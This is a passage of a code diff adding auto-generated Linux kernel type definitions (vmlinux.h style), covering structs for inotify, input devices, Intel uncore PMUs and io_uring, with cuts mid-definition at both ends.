nr_inodes; + long nr_unused; + long dummy[5]; +}; + +struct inotify_event { + __s32 wd; + __u32 mask; + __u32 cookie; + __u32 len; + char name[0]; +}; + +struct inotify_event_info { + struct fsnotify_event fse; + u32 mask; + int wd; + u32 sync_cookie; + int name_len; + char name[0]; +}; + +struct inotify_inode_mark { + struct fsnotify_mark fsn_mark; + int wd; +}; + +struct input_absinfo { + __s32 value; + __s32 minimum; + __s32 maximum; + __s32 fuzz; + __s32 flat; + __s32 resolution; +}; + +struct input_id { + __u16 bustype; + __u16 vendor; + __u16 product; + __u16 version; +}; + +struct input_dev_poller; + +struct input_mt; + +struct input_handle; + +struct input_value; + +struct input_dev { + const char *name; + const char *phys; + const char *uniq; + struct input_id id; + unsigned long propbit[1]; + unsigned long evbit[1]; + unsigned long keybit[12]; + unsigned long relbit[1]; + unsigned long absbit[1]; + unsigned long mscbit[1]; + unsigned long ledbit[1]; + unsigned long sndbit[1]; + unsigned long ffbit[2]; + unsigned long swbit[1]; + unsigned int hint_events_per_packet; + unsigned int keycodemax; + unsigned int keycodesize; + void *keycode; + int (*setkeycode)(struct input_dev *, const struct input_keymap_entry *, unsigned int *); + int (*getkeycode)(struct input_dev *, struct input_keymap_entry *); + struct ff_device *ff; + struct input_dev_poller *poller; + unsigned int repeat_key; + struct timer_list timer; + int rep[2]; + struct input_mt *mt; + struct input_absinfo *absinfo; + unsigned long key[12]; + unsigned long led[1]; + unsigned long snd[1]; + unsigned long sw[1]; + int (*open)(struct input_dev *); + void (*close)(struct input_dev *); + int (*flush)(struct input_dev *, struct file *); + int (*event)(struct input_dev *, unsigned int, unsigned int, int); + struct input_handle __attribute__((btf_type_tag("rcu"))) *grab; + spinlock_t event_lock; + struct mutex mutex; + unsigned int users; + bool going_away; + struct device dev; + struct list_head h_list; + struct list_head node; + unsigned int num_vals; + unsigned int max_vals; + struct input_value *vals; + bool devres_managed; + ktime_t timestamp[3]; + bool inhibited; +}; + +struct input_dev_poller { + void (*poll)(struct input_dev *); + unsigned int poll_interval; + unsigned int poll_interval_max; + unsigned int poll_interval_min; + struct input_dev *input; + struct delayed_work work; +}; + +struct input_device_id { + kernel_ulong_t flags; + __u16 bustype; + __u16 vendor; + __u16 product; + __u16 version; + kernel_ulong_t evbit[1]; + kernel_ulong_t keybit[12]; + kernel_ulong_t relbit[1]; + kernel_ulong_t absbit[1]; + kernel_ulong_t mscbit[1]; + kernel_ulong_t ledbit[1]; + kernel_ulong_t sndbit[1]; + kernel_ulong_t ffbit[2]; + kernel_ulong_t swbit[1]; + kernel_ulong_t propbit[1]; + kernel_ulong_t driver_info; +}; + +struct input_devres { + struct input_dev *input; +}; + +struct input_event { + __kernel_ulong_t __sec; + __kernel_ulong_t __usec; + __u16 type; + __u16 code; + __s32 value; +}; + +struct input_handler; + +struct input_handle { + void *private; + int open; + const char *name; + struct input_dev *dev; + struct input_handler *handler; + struct list_head d_node; + struct list_head h_node; +}; + +struct input_handler { + void *private; + void (*event)(struct input_handle *, unsigned int, unsigned int, int); + unsigned int (*events)(struct input_handle *, struct input_value *, unsigned int); + bool (*filter)(struct input_handle *, unsigned int, unsigned int, int); + bool (*match)(struct input_handler *, struct input_dev *); + int (*connect)(struct input_handler *, struct input_dev *, const struct input_device_id *); + void (*disconnect)(struct input_handle *); + void (*start)(struct input_handle *); + bool legacy_minors; + int minor; + const char *name; + const struct input_device_id *id_table; + struct list_head h_list; + struct list_head node; +}; + +struct input_mt_slot { + int abs[14]; + unsigned int frame; + unsigned int key; +}; + +struct input_mt { + int trkid; + int num_slots; + int slot; + unsigned int flags; + unsigned int frame; + int *red; + struct input_mt_slot slots[0]; +}; + +struct input_mt_pos { + s16 x; + s16 y; +}; + +struct input_seq_state { + unsigned short pos; + bool mutex_acquired; + int input_devices_state; +}; + +struct input_value { + __u16 type; + __u16 code; + __s32 value; +}; + +struct insn_field { + union { + insn_value_t value; + insn_byte_t bytes[4]; + }; + unsigned char got; + unsigned char nbytes; +}; + +struct insn { + struct insn_field prefixes; + struct insn_field rex_prefix; + struct insn_field vex_prefix; + struct insn_field opcode; + struct insn_field modrm; + struct insn_field sib; + struct insn_field displacement; + union { + struct insn_field immediate; + struct insn_field moffset1; + struct insn_field immediate1; + }; + union { + struct insn_field moffset2; + struct insn_field immediate2; + }; + int emulate_prefix_size; + insn_attr_t attr; + unsigned char opnd_bytes; + unsigned char addr_bytes; + unsigned char length; + unsigned char x86_64; + const insn_byte_t *kaddr; + const insn_byte_t *end_kaddr; + const insn_byte_t *next_byte; +}; + +struct intel_early_ops { + resource_size_t (*stolen_size)(int, int, int); + resource_size_t (*stolen_base)(int, int, int, resource_size_t); +}; + +struct intel_excl_states { + enum intel_excl_state_type state[64]; + bool sched_started; +}; + +struct intel_excl_cntrs { + raw_spinlock_t lock; + struct intel_excl_states states[2]; + union { + u16 has_exclusive[2]; + u32 exclusive_present; + }; + int refcnt; + unsigned int core_id; +}; + +struct intel_shared_regs { + struct er_account regs[7]; + int refcnt; + unsigned int core_id; +}; + +struct intel_uncore_extra_reg { + raw_spinlock_t lock; + u64 config; + u64 config1; + u64 config2; + atomic_t ref; +}; + +struct intel_uncore_pmu; + +struct intel_uncore_box { + int dieid; + int n_active; + int n_events; + int cpu; + unsigned long flags; + atomic_t refcnt; + struct perf_event *events[10]; + struct perf_event *event_list[10]; + struct event_constraint *event_constraint[10]; + unsigned long active_mask[1]; + u64 tags[10]; + struct pci_dev *pci_dev; + struct intel_uncore_pmu *pmu; + u64 hrtimer_duration; + struct hrtimer hrtimer; + struct list_head list; + struct list_head active_list; + void *io_addr; + struct intel_uncore_extra_reg shared_regs[0]; +}; + +struct intel_uncore_discovery_type { + struct rb_node node; + enum uncore_access_type access_type; + struct rb_root units; + u16 type; + u8 num_counters; + u8 counter_width; + u8 ctl_offset; + u8 ctr_offset; + u16 num_units; +}; + +struct intel_uncore_discovery_unit { + struct rb_node node; + unsigned int pmu_idx; + unsigned int id; + unsigned int die; + u64 addr; +}; + +struct intel_uncore_init_fun { + void (*cpu_init)(void); + int (*pci_init)(void); + void (*mmio_init)(void); + bool use_discovery; + int *uncore_units_ignore; +}; + +struct intel_uncore_ops { + void (*init_box)(struct intel_uncore_box *); + void (*exit_box)(struct intel_uncore_box *); + void (*disable_box)(struct intel_uncore_box *); + void (*enable_box)(struct intel_uncore_box *); + void (*disable_event)(struct intel_uncore_box *, struct perf_event *); + void (*enable_event)(struct intel_uncore_box *, struct perf_event *); + u64 (*read_counter)(struct intel_uncore_box *, struct perf_event *); + int (*hw_config)(struct intel_uncore_box *, struct perf_event *); + struct event_constraint * (*get_constraint)(struct intel_uncore_box *, struct perf_event *); + void (*put_constraint)(struct intel_uncore_box *, struct perf_event *); +}; + +struct intel_uncore_type; + +struct intel_uncore_pmu { + struct pmu pmu; + char name[32]; + int pmu_idx; + int func_id; + bool registered; + atomic_t activeboxes; + cpumask_t cpu_mask; + struct intel_uncore_type *type; + struct intel_uncore_box **boxes; +}; + +struct uncore_iio_topology; + +struct uncore_upi_topology; + +struct intel_uncore_topology { + int pmu_idx; + union { + void *untyped; + struct uncore_iio_topology *iio; + struct uncore_upi_topology *upi; + }; +}; + +struct uncore_event_desc; + +struct intel_uncore_type { + const char *name; + int num_counters; + int num_boxes; + int perf_ctr_bits; + int fixed_ctr_bits; + int num_freerunning_types; + int type_id; + unsigned int perf_ctr; + unsigned int event_ctl; + unsigned int event_mask; + unsigned int event_mask_ext; + unsigned int fixed_ctr; + unsigned int fixed_ctl; + unsigned int box_ctl; + union { + unsigned int msr_offset; + unsigned int mmio_offset; + }; + unsigned int mmio_map_size; + unsigned int num_shared_regs: 8; + unsigned int single_fixed: 1; + unsigned int pair_ctr_ctl: 1; + union { + u64 *msr_offsets; + u64 *pci_offsets; + u64 *mmio_offsets; + }; + struct event_constraint unconstrainted; + struct event_constraint *constraints; + struct intel_uncore_pmu *pmus; + struct intel_uncore_ops *ops; + struct uncore_event_desc *event_descs; + struct freerunning_counters *freerunning; + const struct attribute_group *attr_groups[4]; + const struct attribute_group **attr_update; + struct pmu *pmu; + struct rb_root *boxes; + struct intel_uncore_topology **topology; + int (*get_topology)(struct intel_uncore_type *); + void (*set_mapping)(struct intel_uncore_type *); + void (*cleanup_mapping)(struct intel_uncore_type *); + void (*cleanup_extra_boxes)(struct intel_uncore_type *); +}; + +union intel_x86_pebs_dse { + u64 val; + struct { + unsigned int ld_dse: 4; + unsigned int ld_stlb_miss: 1; + unsigned int ld_locked: 1; + unsigned int ld_data_blk: 1; + unsigned int ld_addr_blk: 1; + unsigned int ld_reserved: 24; + }; + struct { + unsigned int st_l1d_hit: 1; + unsigned int st_reserved1: 3; + unsigned int st_stlb_miss: 1; + unsigned int st_locked: 1; + unsigned int st_reserved2: 26; + }; + struct { + unsigned int st_lat_dse: 4; + unsigned int st_lat_stlb_miss: 1; + unsigned int st_lat_locked: 1; + unsigned int ld_reserved3: 26; + }; + struct { + unsigned int mtl_dse: 5; + unsigned int mtl_locked: 1; + unsigned int mtl_stlb_miss: 1; + unsigned int mtl_fwd_blk: 1; + unsigned int ld_reserved4: 24; + }; + struct { + unsigned int lnc_dse: 8; + unsigned int ld_reserved5: 2; + unsigned int lnc_stlb_miss: 1; + unsigned int lnc_locked: 1; + unsigned int lnc_data_blk: 1; + unsigned int lnc_addr_blk: 1; + unsigned int ld_reserved6: 18; + }; +}; + +struct internal_container { + struct klist_node node; + struct attribute_container *cont; + struct device classdev; +}; + +struct internal_state { + int dummy; +}; + +struct interval { + uint32_t first; + uint32_t last; +}; + +struct interval_tree_node { + struct rb_node rb; + unsigned long start; + unsigned long last; + unsigned long __subtree_last; +}; + +struct io { + unsigned long error_bits; + atomic_t count; + struct dm_io_client *client; + io_notify_fn callback; + void *context; + void *vma_invalidate_address; + unsigned long vma_invalidate_size; + long: 64; +}; + +struct io_accept { + struct file *file; + struct sockaddr __attribute__((btf_type_tag("user"))) *addr; + int __attribute__((btf_type_tag("user"))) *addr_len; + int flags; + int iou_flags; + u32 file_slot; + unsigned long nofile; +}; + +struct io_alloc_cache { + void **entries; + unsigned int nr_cached; + unsigned int max_cached; + size_t elem_size; +}; + +struct io_apic { + unsigned int index; + unsigned int unused[3]; + unsigned int data; + unsigned int unused2[11]; + unsigned int eoi; +}; + +struct ubuf_info; + +struct msghdr { + void *msg_name; + int msg_namelen; + int msg_inq; + struct iov_iter msg_iter; + union { + void *msg_control; + void __attribute__((btf_type_tag("user"))) *msg_control_user; + }; + bool msg_control_is_user: 1; + bool msg_get_inq: 1; + unsigned int msg_flags; + __kernel_size_t msg_controllen; + struct kiocb *msg_iocb; + struct ubuf_info *msg_ubuf; + int (*sg_from_iter)(struct sk_buff *, struct iov_iter *, size_t); +}; + +struct io_async_msghdr { + struct iovec fast_iov; + struct iovec *free_iov; + int free_iov_nr; + int namelen; + __kernel_size_t controllen; + __kernel_size_t payloadlen; + struct sockaddr __attribute__((btf_type_tag("user"))) *uaddr; + struct msghdr msg; + struct __kernel_sockaddr_storage addr; +}; + +struct iov_iter_state { + size_t iov_offset; + size_t count; + unsigned long nr_segs; +}; + +struct wait_page_queue { + struct folio *folio; + int bit_nr; + wait_queue_entry_t wait; +}; + +struct io_async_rw { + size_t bytes_done; + struct iov_iter iter; + struct iov_iter_state iter_state; + struct iovec fast_iov; + struct iovec *free_iovec; + int free_iov_nr; + struct wait_page_queue wpq; +}; + +struct io_bind { + struct file *file; + int addr_len; +}; + +struct io_bitmap { + u64 sequence; + refcount_t refcnt; + unsigned int max; + unsigned long bitmap[1024]; +}; + +struct io_buffer { + struct list_head list; + __u64 addr; + __u32 len; + __u16 bid; + __u16 bgid; +}; + +struct io_uring_buf_ring; + +struct io_buffer_list { + union { + struct list_head buf_list; + struct { + struct page **buf_pages; + struct io_uring_buf_ring *buf_ring; + }; + struct callback_head rcu; + }; + __u16 bgid; + __u16 buf_nr_pages; + __u16 nr_entries; + __u16 head; + __u16 mask; + __u16 flags; + atomic_t refs; +}; + +struct io_cancel { + struct file *file; + u64 addr; + u32 flags; + s32 fd; + u8 opcode; +}; + +struct io_ring_ctx; + +struct io_cancel_data { + struct io_ring_ctx *ctx; + union { + u64 data; + struct file *file; + }; + u8 opcode; + u32 flags; + int seq; +}; + +struct io_wq_work; + +typedef bool work_cancel_fn(struct io_wq_work *, void *); + +struct io_cb_cancel_data { + work_cancel_fn *fn; + void *data; + int nr_running; + int nr_pending; + bool cancel_all; +}; + +struct io_close { + struct file *file; + int fd; + u32 file_slot; +}; + +struct io_cmd_data { + struct file *file; + __u8 data[56]; +}; + +struct io_kiocb; + +struct io_cold_def { + const char *name; + void (*cleanup)(struct io_kiocb *); + void (*fail)(struct io_kiocb *); +}; + +struct io_comp_batch { + struct request *req_list; + bool need_ts; + void (*complete)(struct io_comp_batch *); +}; + +struct io_connect { + struct file *file; + struct sockaddr __attribute__((btf_type_tag("user"))) *addr; + int addr_len; + bool in_progress; + bool seen_econnaborted; +}; + +struct io_context { + atomic_long_t refcount; + atomic_t active_ref; + unsigned short ioprio; + spinlock_t lock; + struct xarray icq_tree; + struct io_cq __attribute__((btf_type_tag("rcu"))) *icq_hint; + struct hlist_head icq_list; + struct work_struct release_work; +}; + +struct io_cqe { + __u64 user_data; + __s32 res; + union { + __u32 flags; + int fd; + }; +}; + +struct io_cqring_offsets { + __u32 head; + __u32 tail; + __u32 ring_mask; + __u32 ring_entries; + __u32 overflow; + __u32 cqes; + __u32 flags; + __u32 resv1; + __u64 user_addr; +}; + +struct io_defer_entry { + struct list_head list; + struct io_kiocb *req; + u32 seq; +}; + +struct io_epoll { + struct file *file; + int epfd; + int op; + int fd; + struct epoll_event event; +}; + +struct io_err_c { + struct dm_dev *dev; + sector_t start; +}; + +struct io_ev_fd { + struct eventfd_ctx *cq_ev_fd; + unsigned int eventfd_async: 1; + struct callback_head rcu; + refcount_t refs; + atomic_t ops; +}; + +struct io_fadvise { + struct file *file; + u64 offset; + u64 len; + u32 advice; +}; + +struct io_fixed_file; + +struct io_file_table { + struct io_fixed_file *files; + unsigned long *bitmap; + unsigned int alloc_hint; +}; + +struct io_fixed_file { + unsigned long file_ptr; +}; + +struct io_fixed_install { + struct file *file; + unsigned int o_flags; +}; + +struct io_ftrunc { + struct file *file; + loff_t len; +}; + +struct io_futex { + struct file *file; + union { + u32 __attribute__((btf_type_tag("user"))) *uaddr; + struct futex_waitv __attribute__((btf_type_tag("user"))) *uwaitv; + }; + unsigned long futex_val; + unsigned long futex_mask; + unsigned long futexv_owned; + u32 futex_flags; + unsigned int futex_nr; + bool futexv_unqueued; +}; + +struct io_futex_data { + struct futex_q q; + struct io_kiocb *req; +}; + +struct io_hash_bucket { + spinlock_t lock; + struct hlist_head list; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct io_hash_table { + struct io_hash_bucket *hbs; + unsigned int hash_bits; +}; + +struct io_imu_folio_data { + unsigned int nr_pages_head; + unsigned int nr_pages_mid; + unsigned int folio_shift; +}; + +struct io_uring_sqe; + +struct io_issue_def { + unsigned int needs_file: 1; + unsigned int plug: 1; + unsigned int hash_reg_file: 1; + unsigned int unbound_nonreg_file: 1; + unsigned int pollin: 1; + unsigned int pollout: 1; + unsigned int poll_exclusive: 1; + unsigned int buffer_select: 1; + unsigned int audit_skip: 1; + unsigned int ioprio: 1; + unsigned int iopoll: 1; + unsigned int iopoll_queue: 1; + unsigned int vectored: 1; + unsigned short async_size; + int (*issue)(struct io_kiocb *, unsigned int); + int (*prep)(struct io_kiocb *, const struct io_uring_sqe *); +}; + +struct io_wq_work_node { + struct io_wq_work_node *next; +}; + +struct io_tw_state; + +typedef void (*io_req_tw_func_t)(struct io_kiocb *, struct io_tw_state *); + +struct io_task_work { + struct llist_node node; + io_req_tw_func_t func; +}; + +struct io_wq_work { + struct io_wq_work_node list; + atomic_t flags; + int cancel_seq; +}; + +struct io_mapped_ubuf; + +struct io_rsrc_node; + +struct io_kiocb { + union { + struct file *file; + struct io_cmd_data cmd; + }; + u8 opcode; + u8 iopoll_completed; + u16 buf_index; + unsigned int nr_tw; + io_req_flags_t flags; + struct io_cqe cqe; + struct io_ring_ctx *ctx; + struct task_struct *task; + union { + struct io_mapped_ubuf *imu; + struct io_buffer *kbuf; + struct io_buffer_list *buf_list; + }; + union { + struct io_wq_work_node comp_list; + __poll_t apoll_events; + }; + struct io_rsrc_node *rsrc_node; + atomic_t refs; + bool cancel_seq_set; + struct io_task_work io_task_work; + struct hlist_node hash_node; + struct async_poll *apoll; + void *async_data; + atomic_t poll_refs; + struct io_kiocb *link; + const struct cred *creds; + struct io_wq_work work; + struct { + u64 extra1; + u64 extra2; + } big_cqe; +}; + +struct io_link { + struct file *file; + int old_dfd; + int new_dfd; + struct filename *oldpath; + struct filename *newpath; + int flags; +}; + +struct io_listen { + struct file *file; + int backlog; +}; + +struct io_madvise { + struct file *file; + u64 addr; + u64 len; + u32 advice; +}; + +struct io_mapped_ubuf { + u64 ubuf; + unsigned int len; + unsigned int nr_bvecs; + unsigned int folio_shift; + refcount_t refs; + unsigned long acct_pages; + struct bio_vec bvec[0]; +}; + +struct io_mkdir { + struct file *file; + int dfd; + umode_t mode; + struct filename *filename; +}; + +struct io_msg { + struct file *file; + struct file *src_file; + struct callback_head tw; + u64 user_data; + u32 len; + u32 cmd; + u32 src_fd; + union { + u32 dst_fd; + u32 cqe_flags; + }; + u32 flags; +}; + +struct io_napi_entry { + unsigned int napi_id; + struct list_head list; + unsigned long timeout; + struct hlist_node node; + struct callback_head rcu; +}; + +struct io_nop { + struct file *file; + int result; +}; + +struct ubuf_info_ops; + +struct ubuf_info { + const struct ubuf_info_ops *ops; + refcount_t refcnt; + u8 flags; +}; + +struct io_notif_data { + struct file *file; + struct ubuf_info uarg; + struct io_notif_data *next; + struct io_notif_data *head; + unsigned int account_pages; + bool zc_report; + bool zc_used; + bool zc_copied; +}; + +struct open_how { + __u64 flags; + __u64 mode; + __u64 resolve; +}; + +struct io_open { + struct file *file; + int dfd; + u32 file_slot; + struct filename *filename; + struct open_how how; + unsigned long nofile; +}; + +struct io_uring_cqe { + __u64 user_data; + __s32 res; + __u32 flags; + __u64 big_cqe[0]; +}; + +struct io_overflow_cqe { + struct list_head list; + struct io_uring_cqe cqe; +}; + +struct io_poll_table { + struct poll_table_struct pt; + struct io_kiocb *req; + int nr_entries; + int error; + bool owning; + __poll_t result_mask; +}; + +struct io_poll_update { + struct file *file; + u64 old_user_data; + u64 new_user_data; + __poll_t events; + bool update_events; + bool update_user_data; +}; + +struct io_provide_buf { + struct file *file; + __u64 addr; + __u32 len; + __u32 bgid; + __u32 nbufs; + __u16 bid; +}; + +struct io_uring_recvmsg_out { + __u32 namelen; + __u32 controllen; + __u32 payloadlen; + __u32 flags; +}; + +struct io_recvmsg_multishot_hdr { + struct io_uring_recvmsg_out msg; + struct __kernel_sockaddr_storage addr; +}; + +struct io_rename { + struct file *file; + int old_dfd; + int new_dfd; + struct filename *oldpath; + struct filename *newpath; + int flags; +}; + +struct io_restriction { + unsigned long register_op[1]; + unsigned long sqe_op[1]; + u8 sqe_flags_allowed; + u8 sqe_flags_required; + bool registered; +}; + +struct io_wq_work_list { + struct io_wq_work_node *first; + struct io_wq_work_node *last; +}; + +struct io_submit_link { + struct io_kiocb *head; + struct io_kiocb *last; +}; + +struct io_submit_state { + struct io_wq_work_node free_list; + struct io_wq_work_list compl_reqs; + struct io_submit_link link; + bool plug_started; + bool need_plug; + bool cq_flush; + unsigned short submit_nr; + struct blk_plug plug; +}; + +struct io_rings; + +struct io_sq_data; + +struct io_rsrc_data; + +struct io_wq_hash; + +struct io_ring_ctx { + struct { + unsigned int flags; + unsigned int drain_next: 1; + unsigned int restricted: 1; + unsigned int off_timeout_used: 1; + unsigned int drain_active: 1; + unsigned int has_evfd: 1; + unsigned int task_complete: 1; + unsigned int lockless_cq: 1; + unsigned int syscall_iopoll: 1; + unsigned int poll_activated: 1; + unsigned int drain_disabled: 1; + unsigned int compat: 1; + unsigned int iowq_limits_set: 1; + struct task_struct *submitter_task; + struct io_rings *rings; + struct percpu_ref refs; + clockid_t clockid; + enum tk_offsets clock_offset; + enum task_work_notify_mode notify_method; + unsigned int sq_thread_idle; + long: 64; + }; + struct { + struct mutex uring_lock; + u32 *sq_array; + struct io_uring_sqe *sq_sqes; + unsigned int cached_sq_head; + unsigned int sq_entries; + struct io_rsrc_node *rsrc_node; + atomic_t cancel_seq; + bool poll_multi_queue; + struct io_wq_work_list iopoll_list; + struct io_file_table file_table; + struct io_mapped_ubuf **user_bufs; + unsigned int nr_user_files; + unsigned int nr_user_bufs; + struct io_submit_state submit_state; + struct xarray io_bl_xa; + struct io_hash_table cancel_table_locked; + struct io_alloc_cache apoll_cache; + struct io_alloc_cache netmsg_cache; + struct io_alloc_cache rw_cache; + struct io_alloc_cache uring_cache; + struct hlist_head cancelable_uring_cmd; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + }; + struct { + struct io_uring_cqe *cqe_cached; + struct io_uring_cqe *cqe_sentinel; + unsigned int cached_cq_tail; + unsigned int cq_entries; + struct io_ev_fd __attribute__((btf_type_tag("rcu"))) *io_ev_fd; + unsigned int cq_extra; + long: 64; + long: 64; + long: 64; + }; + struct { + struct llist_head work_llist; + unsigned long check_cq; + atomic_t cq_wait_nr; + atomic_t cq_timeouts; + struct wait_queue_head cq_wait; + long: 64; + long: 64; + long: 64; + }; + struct { + spinlock_t timeout_lock; + struct list_head timeout_list; + struct list_head ltimeout_list; + unsigned int cq_last_tm_flush; + long: 64; + long: 64; + long: 64; + }; + spinlock_t completion_lock; + struct list_head io_buffers_comp; + struct list_head cq_overflow_list; + struct io_hash_table cancel_table; + struct hlist_head waitid_list; + struct hlist_head futex_list; + struct io_alloc_cache futex_cache; + const struct cred *sq_creds; + struct io_sq_data *sq_data; + struct wait_queue_head sqo_sq_wait; + struct list_head sqd_list; + unsigned int file_alloc_start; + unsigned int file_alloc_end; + struct list_head io_buffers_cache; + struct wait_queue_head poll_wq; + struct io_restriction restrictions; + struct io_rsrc_data *file_data; + struct io_rsrc_data *buf_data; + struct list_head rsrc_ref_list; + struct io_alloc_cache rsrc_node_cache; + struct wait_queue_head rsrc_quiesce_wq; + unsigned int rsrc_quiesce; + u32 pers_next; + struct xarray personalities; + struct io_wq_hash *hash_map; + struct user_struct *user; + struct mm_struct *mm_account; + struct llist_head fallback_llist; + struct delayed_work fallback_work; + struct work_struct exit_work; + struct list_head tctx_list; + struct completion ref_comp; + u32 iowq_limits[2]; + struct callback_head poll_wq_task_work; + struct list_head defer_list; + struct io_alloc_cache msg_cache; + spinlock_t msg_lock; + struct list_head napi_list; + spinlock_t napi_lock; + ktime_t napi_busy_poll_dt; + bool napi_prefer_busy_poll; + bool napi_enabled; + struct hlist_head napi_ht[16]; + unsigned int evfd_last_cq_tail; + unsigned short n_ring_pages; + unsigned short n_sqe_pages; + struct page **ring_pages; + struct page **sqe_pages; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct io_uring { + u32 head; + u32 tail; +}; + +struct io_rings { + struct io_uring sq; + struct io_uring cq; + u32 sq_ring_mask; + u32 cq_ring_mask; + u32 sq_ring_entries; + u32 cq_ring_entries; + u32 sq_dropped; + atomic_t sq_flags; + u32 cq_flags; + u32 cq_overflow; + long: 64; + long: 64; + struct io_uring_cqe cqes[0]; +}; + +struct io_rsrc_data { + struct io_ring_ctx *ctx; + u64 **tags; + unsigned int nr; + u16 rsrc_type; + bool quiesce; +}; + +struct io_rsrc_put { + u64 tag; + union { + void *rsrc; + struct file *file; + struct io_mapped_ubuf *buf; + }; +}; + +struct io_rsrc_node { + struct io_ring_ctx *ctx; + int refs; + bool empty; + u16 type; + struct list_head node; + struct io_rsrc_put item; +}; + +struct io_rsrc_update { + struct file *file; + u64 arg; + u32 nr_args; + u32 offset; +}; + +struct io_rw { + struct kiocb kiocb; + u64 addr; + u32 len; + rwf_t flags; +}; + +struct io_shutdown { + struct file *file; + int how; +}; + +struct io_socket { + struct file *file; + int domain; + int type; + int protocol; + int flags; + u32 file_slot; + unsigned long nofile; +}; + +struct io_splice { + struct file *file_out; + loff_t off_out; + loff_t off_in; + u64 len; + int splice_fd_in; + unsigned int flags; +}; + +struct io_sq_data { + refcount_t refs; + atomic_t park_pending; + struct mutex lock; + struct list_head ctx_list; + struct task_struct *thread; + struct wait_queue_head wait; + unsigned int sq_thread_idle; + int sq_cpu; + pid_t task_pid; + pid_t task_tgid; + u64 work_time; + unsigned long state; + struct completion exited; +}; + +struct io_sqring_offsets { + __u32 head; + __u32 tail; + __u32 ring_mask; + __u32 ring_entries; + __u32 flags; + __u32 dropped; + __u32 array; + __u32 resv1; + __u64 user_addr; +}; + +struct user_msghdr; + +struct io_sr_msg { + struct file *file; + union { + struct compat_msghdr __attribute__((btf_type_tag("user"))) *umsg_compat; + struct user_msghdr __attribute__((btf_type_tag("user"))) *umsg; + void __attribute__((btf_type_tag("user"))) *buf; + }; + int len; + unsigned int done_io; + unsigned int msg_flags; + unsigned int nr_multishot_loops; + u16 flags; + u16 addr_len; + u16 buf_group; + void __attribute__((btf_type_tag("user"))) *addr; + void __attribute__((btf_type_tag("user"))) *msg_control; + struct io_kiocb *notif; +}; + +struct statx; + +struct io_statx { + struct file *file; + int dfd; + unsigned int mask; + unsigned int flags; + struct filename *filename; + struct statx __attribute__((btf_type_tag("user"))) *buffer; +}; + +struct io_sync { + struct file *file; + loff_t len; + loff_t off; + int flags; + int mode; +}; + +struct io_task_cancel { + struct task_struct *task; + bool all; +}; + +struct io_tctx_exit { + struct callback_head task_work; + struct completion completion; + struct io_ring_ctx *ctx; +}; + +struct io_tctx_node { + struct list_head ctx_node; + struct task_struct *task; + struct io_ring_ctx *ctx; +}; + +struct io_timeout { + struct file *file; + u32 off; + u32 target_seq; + u32 repeats; + struct list_head list; + struct io_kiocb *head; + struct io_kiocb *prev; +}; + +struct io_timeout_data { + struct io_kiocb *req; + struct hrtimer timer; + struct timespec64 ts; + enum hrtimer_mode mode; + u32 flags; +}; + +struct io_timeout_rem { + struct file *file; + u64 addr; + struct timespec64 ts; + u32 flags; + bool ltimeout; +}; + +struct io_tlb_area { + unsigned long used; + unsigned int index; + spinlock_t lock; +}; + +struct io_tlb_slot; + +struct io_tlb_pool { + phys_addr_t start; + phys_addr_t end; + void *vaddr; + unsigned long nslabs; + bool late_alloc; + unsigned int nareas; + unsigned int area_nslabs; + struct io_tlb_area *areas; + struct io_tlb_slot *slots; +}; + +struct io_tlb_mem { + struct io_tlb_pool defpool; + unsigned long nslabs; + struct dentry *debugfs; + bool force_bounce; + bool for_alloc; + atomic_long_t total_used; + atomic_long_t used_hiwater; + atomic_long_t transient_nslabs; +}; + +struct io_tlb_slot { + phys_addr_t orig_addr; + size_t alloc_size; + unsigned short list; + unsigned short pad_slots; +}; + +struct io_tw_state {}; + +struct io_unlink { + struct file *file; + int dfd; + int flags; + struct filename *filename; +}; + +struct io_uring_buf { + __u64 addr; + __u32 len; + __u16 bid; + __u16 resv; +}; + +struct io_uring_buf_reg { + __u64 ring_addr; + __u32 ring_entries; + __u16 bgid; + __u16 flags; + __u64 resv[3]; +}; + +struct io_uring_buf_ring { + union { + struct { + __u64 resv1; + __u32 resv2; + __u16 resv3; + __u16 tail; + }; + struct { + struct {} __empty_bufs; + struct io_uring_buf bufs[0]; + }; + }; +}; + +struct io_uring_buf_status { + __u32 buf_group; + __u32 head; + __u32 resv[8]; +}; + +struct io_uring_clock_register { + __u32 clockid; + __u32 __resv[3]; +}; + +struct io_uring_clone_buffers { + __u32 src_fd; + __u32 flags; + __u32 pad[6]; +}; + +struct io_uring_cmd { + struct file *file; + const struct io_uring_sqe *sqe; + void (*task_work_cb)(struct io_uring_cmd *, unsigned int); + u32 cmd_op; + u32 flags; + u8 pdu[32]; +}; + +struct io_uring_file_index_range { + __u32 off; + __u32 len; + __u64 resv; +}; + +struct io_uring_getevents_arg { + __u64 sigmask; + __u32 sigmask_sz; + __u32 min_wait_usec; + __u64 ts; +}; + +struct io_uring_napi { + __u32 busy_poll_to; + __u8 prefer_busy_poll; + __u8 pad[3]; + __u64 resv; +}; + +struct io_uring_params { + __u32 sq_entries; + __u32 cq_entries; + __u32 flags; + __u32 sq_thread_cpu; + __u32 sq_thread_idle; + __u32 features; + __u32 wq_fd; + __u32 resv[3]; + struct io_sqring_offsets sq_off; + struct io_cqring_offsets cq_off; +}; + +struct io_uring_probe_op { + __u8 op; + __u8 resv; + __u16 flags; + __u32 resv2; +}; + +struct io_uring_probe { + __u8 last_op; + __u8 ops_len; + __u16 resv; + __u32 resv2[3]; + struct io_uring_probe_op ops[0]; +}; + +struct io_uring_restriction { + __u16 opcode; + union { + __u8 register_op; + __u8 sqe_op; + __u8 sqe_flags; + }; + __u8 resv; + __u32 resv2[3]; +}; + +struct io_uring_rsrc_register { + __u32 nr; + __u32 flags; + __u64 resv2; + __u64 data; + __u64 tags; +}; + +struct io_uring_rsrc_update { + __u32 offset; + __u32 resv; + __u64 data; +}; + +struct io_uring_rsrc_update2 { + __u32 offset; + __u32 resv; + __u64 data; + __u64 tags; + __u32 nr; + __u32 resv2; +}; + +struct io_uring_sqe { + __u8 opcode; + __u8 flags; + __u16 ioprio; + __s32 fd; + union { + __u64 off; + __u64 addr2; + struct { + __u32 cmd_op; + __u32 __pad1; + }; + }; + union { + __u64 addr; + __u64 splice_off_in; + struct { + __u32 level; + __u32 optname; + }; + }; + __u32 len; + union { + __kernel_rwf_t rw_flags; + __u32 fsync_flags; + __u16 poll_events; + __u32 poll32_events; + __u32 sync_range_flags; + __u32 msg_flags; + __u32 timeout_flags; + __u32 